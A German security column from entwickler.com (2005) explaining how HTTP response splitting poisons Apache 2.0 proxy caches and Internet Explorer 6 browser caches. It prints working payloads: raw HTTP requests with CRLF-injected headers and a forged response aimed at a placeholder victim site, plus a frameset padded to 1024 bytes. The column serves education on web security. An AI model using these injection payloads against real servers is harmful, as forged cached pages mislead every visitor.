Freitag, 21. November 2008

News

präsentiert von: entwickler.com
Donnerstag, 15. September 2005

About Security #23: Caches vergiften

Die praktische Durchführung der in About Security #21 und #22 beschrieben HTTP-Response-Splitting-Angriffe ist das Thema dieser Folge von About Security. Sie erfahren, wie Web- und Browsercaches mit falschen Informationen vergiftet werden können.

Apache 2.0 mit mod_proxy und mod_cache ist ein leichtes Ziel für die Cache-Vergiftung, da Nachrichten an ihren logischen Grenzen erkannt werden und Pipelining unterstützt wird. Um den Cache zu vergiften, werden drei HTTP-Requests benötigt: Der erste sorgt dafür, dass die Seite im Cache ungültig wird. Der zweite startet das HTTP Response Splitting, und dem dritten wird die eingeschleuste HTTP-Response zugeordnet.

Webcache vergiften: Apache 2.0

Um die gewünschte Seite aus dem Cache zu entfernen, wird im ersten HTTP-Request ein Pragma: no-cache-Header mitgeschickt:

 GET http://www.opfer.example/index.html HTTP/1.1
Pragma: no-cache
Host: www.opfer.example
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

N E U ! Security aktuell
Täglich aktuelle Security-Infos!

Die verwundbare Seite soll wie in About Security #21 wieder /redir_lang.jsp sein. In der gefälschten HTTP-Response muss ein Last-Modified-Header mit einem Datum in der Zukunft enthalten sein, im Beispiel der 31. Dezember 2010. Für den HTTP-Response-Splitting-Angriff ergibt sich damit (nach Amit Klein, "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics", (PDF)) folgender HTTP-Request:

 GET http://www.opfer.example/redir_lang.jsp?lang=%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified
:%20Fri,%2031%20Dec%202010%2001:23:45%20GMT%0d%0aContent-Leng
th:%2023%0d%0aContentType:%20text/html%0d%0a%0d%0a<html>Gesch
afft!</html> HTTP/1.1
Host: www.opfer.example
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

Jetzt fehlt noch die Anforderung der zu vergiftenden Seite:

 GET http://www.opfer.example/index.html HTTP/1.1
Host: www.opfer.example
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

Apache cached keine Quellen, deren URL mit einem / endet. Daher kann das Beispiel http://www.opfer.example/ nicht vergiftet werden. Das Vergiften von http://www.opfer.example/index.html ist jedoch möglich.

Was passiert?
About Security: Die komplette Serie

Beim Empfang des ersten HTTP-Requests wird die Seite index.html vom Cacheserver beim Webserver angefordert, aufgrund des Pragma: no-cache-Headers aber nicht gecached. Eine eventuell im Cache vorhandene Version wird verworfen. Der zweite HTTP-Request löst zwei HTTP-Responses aus (siehe About Security #21). Die zweite, gefälschte HTTP-Response wird dem dritten HTTP-Request zugeordnet, wodurch der Cache vergiftet wird. Wird danach http://www.opfer.example/index.html aufgerufen, wird das in den Cache eingeschleuste <html>Geschafft!</html> zurückgeliefert.

Browsercache vergiften: Internet Explorer 6.0 SP1

Der Internet Explorer verwendet Puffergrenzen zur Erkennung der Nachrichtengrenzen. Der verwendete Puffer fasst 1.024 Bytes. Die zweite HTTP-Response muss daher an einer 1.024-Byte-Grenze beginnen, um korrekt erkannt zu werden. Außerdem werden bis zu vier TCP-Verbindungen zum Empfang von Daten verwendet. Dadurch ist nicht sichergestellt, dass zwei HTTP-Requests über die gleiche TCP-Verbindung gesendet werden. Als weitere Schwierigkeit müssen u.a. HTTP-Requests und -Responses in der richtigen Reihenfolge gesendet bzw. empfangen werden und es darf kein TCP FIN vom Server empfangen werden. Für einen erfolgreichen Angriff müssen viele HTTP-Requests in schneller Folge gesendet werden, in der Hoffnung, dass zwei passende HTTP-Requests über die gleiche TCP-Verbindung gesendet werden.

Um die erforderlichen HTTP-Requests mehrmals zu senden, kann eine Frame-Seite mit einer Reihe identischer Frames verwendet werden (Bsp. nach obigen Whitepaper):

 <frameset cols="5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,
5%,5%,5%">
<frame src="http://www.opfer.example/redir_lang.jsp?lang=%0d%0aConne
ction:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
... [Auffüllen auf 1024 Bytes]...
AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0
d%0aLastModified:%20Fri,%2031%20Dec%202010%2001:23:45%20GMT%0d%0a
ContentLength:%2045%1d%0a%0d%0a<html>Cache%20erfolgreich%20vergif
tet!</html>
">
<frame src="http://www.opfer.example/index.html"> ... [9 weitere dieser <frame>-Paare] ...

</frameset>

Es werden je zehn HTTP Response Splitting Requests gesendet, jeweils gefolgt von einem HTTP-Request für die zu vergiftende Seite. Im Erfolgsfall wird dadurch der Browser-Cache vergiftet. Dabei wird davon ausgegangen, dass bei jedem Besuch einer Seite nach einer neueren Version gesucht wird als der im Cache vorgehaltenen.

Statt einer Seite mit mehreren Frames können auch XMLHttpRequests für den Angriff verwendet werden.

Außer zum Vergiften von Caches kann HTTP Response Splitting auch für Cross-Site-Scripting-Angriffe und das Entführen von Webseiten mit sensitiven Informationen verwendet werden. Diese Angriffe werden ab der nächsten Folge vorgestellt.

Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security – Übersicht zum aktuellen Thema "Sichere Webanwendungen"

Kommentare

Ihre Meinung ist uns wichtig!
Mobile Computing Heute & Morgen!
Nehmen Sie an unserer Umfrage zum Thema Mobile Computing in Deutschland teil und nutzen Sie die Chance eine Casio Exilim EX-Z1050-Digitalkamera zu gewinnen!
OpenOffice.org Spezial

Konferenzen

JAX Asia 2008

JAX Asia 2008

25.-28. November 2008
Singapore, Kuala Lumpur, Jakarta

BASTA! Spring 2009

BASTA! Spring 2009

23.-27. Februar 2009
Maritim Rhein-Main Hotel Wissenschaftsstadt Darmstadt

BASTA! Italia 2009

BASTA! Italia 2009

16.-18. März 2009
Holiday Inn EUR Parco dei Medici, Roma

PHPCon Italia 2009

PHPCon Italia 2009

18.-20. März 2009
Holiday Inn EUR Parco dei Medici, Roma

webinale 09

webinale 09

25.-27. Mai 2009
Berlin

Werbung
Top-Jobs

Signsoft GmbH

Java-Entwickler (m/w)

Endress+Hauser GmbH+Co. KG

Entwickler Datenbanksysteme (m/w)

Software & Support Verlag GmbH

Lektor (m/w), Vollzeit

Software & Support Verlag GmbH

Redakteur (m/w), Vollzeit

Software & Support Verlag GmbH

Volontär (w/m) Redaktion, Vollzeit

Magazine

Entwickler Magazin - Enterprise Technologies & Business Solutions

Entwickler Magazin

Enterprise Technologies & Business Solutions

dot.net magazin - die unabhängige Quelle für .NET-Technologien

dot.net magazin

Die Quelle für .NET-Technologien

Eclipse Magazin

Eclipse Magazin

Weltweit erstes Magazin für Eclipse-Entwickler

Java Magazin - Internet & Enterprise Technology

Java Magazin

Internet & Enterprise Technology

CREATE OR DIE - Ein Leben für die Kreativität

CREATE OR DIE

Ein Leben für die Kreativität

Business Technology - Management Magazin

Business Technology

Management Magazin

PHP Magazin - Professional PHP Development

PHP Magazin

Professional PHP Development

Bücher


hosted by HostEurope